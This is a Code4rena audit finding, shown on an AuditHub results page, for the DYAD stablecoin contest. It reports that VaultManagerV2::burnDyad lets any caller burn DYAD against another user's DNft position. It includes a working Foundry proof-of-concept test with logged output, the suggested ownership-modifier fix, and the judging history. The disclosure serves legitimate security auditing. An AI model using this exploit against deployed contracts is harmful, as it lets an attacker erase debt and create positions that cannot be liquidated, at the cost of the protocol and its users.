DYAD - Pataroff's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 41/183

Findings: 1

Award: $291.13

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Pataroff

Also found by: Egis_Security, Evo, Jorgect, MrPotatoMagic, SBSecurity, T1MOH, carrotsmuggler, ljj

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sufficient quality report
edited-by-warden
:robot:_06_group
M-07

Awards

291.1317 USDC - $291.13

External Links

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L172-L181

Vulnerability details

Description:

VaultManagerV2.sol has a function burnDyad that allows a DNft owner to burn his minted DYAD tokens.

    function burnDyad(uint256 id, uint256 amount) external isValidDNft(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }

However, the function does not check if the DNft id that is passed to it and the isValidDNft modifier belongs to msg.sender, allowing any DNft owner to burn any other DNft owner minted DYAD by calling the burnDyad function with the other user's DNft id.

Impact:

A user can prevent an open position from being liquidated by calling VaultManagerV2::burnDyad to burn his own DYAD balance, while retaining his DYAD debt, effectively creating bad debt that cannot be liquidated nor redeemed.

Moreover, by specifying a different DNft id from their own when calling VaultManagerV2::burnDyad, the user can clear DYAD debt from another position while retaining the DYAD balance associated with it, effectively tricking the protocol in allowing him to mint more DYAD as the position no longer has DYAD debt.

Proof of Concept:

  1. Add the helper functions to VaultManagerHelper.t.sol
  2. Add the test to VaultManager.t.sol
  3. Make sure you are interacting with VaultManagerV2.sol (not VaultManager.sol) and run with:
forge test --mt test_burnAnotherUserDyad

VaultManagerHelper.t.sol

    function mintDNftToUser(address user) public returns (uint256) {
        return dNft.mintNft{value: 1 ether}(user);
    }

    function userDeposit(ERC20Mock token, uint256 id, address vault, uint256 amount, address user) public {
        vaultManager.add(id, vault);
        token.mint(user, amount);
        token.approve(address(vaultManager), amount);
        vaultManager.deposit(id, address(vault), amount);
    }

VaultManager.t.sol

    function test_burnAnotherUserDyad() public {
        vm.deal(Alice, 10 ether);
        vm.deal(Bob, 10 ether);

        // Mint DYAD to Alice
        vm.startPrank(Alice);
        uint256 aliceDNftId = mintDNftToUser(Alice);
        userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
        vm.stopPrank();

        // Mint DYAD to Bob
        vm.startPrank(Bob);
        uint256 bobDNftId = mintDNftToUser(Bob);
        userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob);
        vaultManager.mintDyad(bobDNftId, 1e20, Bob);
        vm.stopPrank();

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 100000000000000000000

        // Call `burnDyad` as Bob on Alice's DNft id!
        vm.prank(Bob);
        vaultManager.burnDyad(aliceDNftId, 1e20);

        // Bob position becomes insolvent as his DYAD balance is now equal to 0!
        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 0
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0

        // Alice can mint more DYAD as her DYAD debt is now equal to 0!
        vm.prank(Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);

        console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 200000000000000000000
        console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0
        
        // Bob position cannot be liquidated due to high collaterization ratio!
        vm.prank(Alice);
        vm.expectRevert();
        vaultManager.liquidate(1, 0);
    }
[PASS] test_burnAnotherUserDyad() (gas: 815369) Logs: Alice Minted Dyad: 100000000000000000000 Alice Dyad Balance: 100000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 100000000000000000000 Alice Minted Dyad: 0 Alice Dyad Balance: 100000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 0 Alice Minted Dyad: 100000000000000000000 Alice Dyad Balance: 200000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 0

Tools Used:

Manual Review

Add isDNftOwner modifier to VaultManagerV2.sol::burnDyad to check if the passed DNft id belongs to msg.sender, preventing the function caller from being able to burn another user's minted DYAD.

    function burnDyad(uint256 id, uint256 amount) external
     isValidDNft(id)
+    isDNftOwner(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }

Assessed type

DoS

#0 - c4-pre-sort

2024-04-27T13:19:38Z

JustDravee marked the issue as duplicate of #409

#1 - c4-pre-sort

2024-04-29T09:35:53Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-05T12:01:31Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-09T11:38:49Z

koolexcrypto marked the issue as not a duplicate

#4 - c4-judge

2024-05-09T11:38:57Z

koolexcrypto removed the grade

#5 - c4-judge

2024-05-09T11:39:06Z

koolexcrypto marked the issue as duplicate of #74

#6 - c4-judge

2024-05-10T10:13:47Z

koolexcrypto marked the issue as duplicate of #992

#7 - c4-judge

2024-05-11T12:16:43Z

koolexcrypto marked the issue as satisfactory

#8 - c4-judge

2024-05-13T18:35:41Z

koolexcrypto changed the severity to 2 (Med Risk)

#9 - c4-judge

2024-05-28T10:28:03Z

koolexcrypto marked the issue as not a duplicate

#10 - c4-judge

2024-05-28T10:28:53Z

koolexcrypto marked the issue as primary issue

#11 - c4-judge

2024-05-28T10:30:12Z

koolexcrypto marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter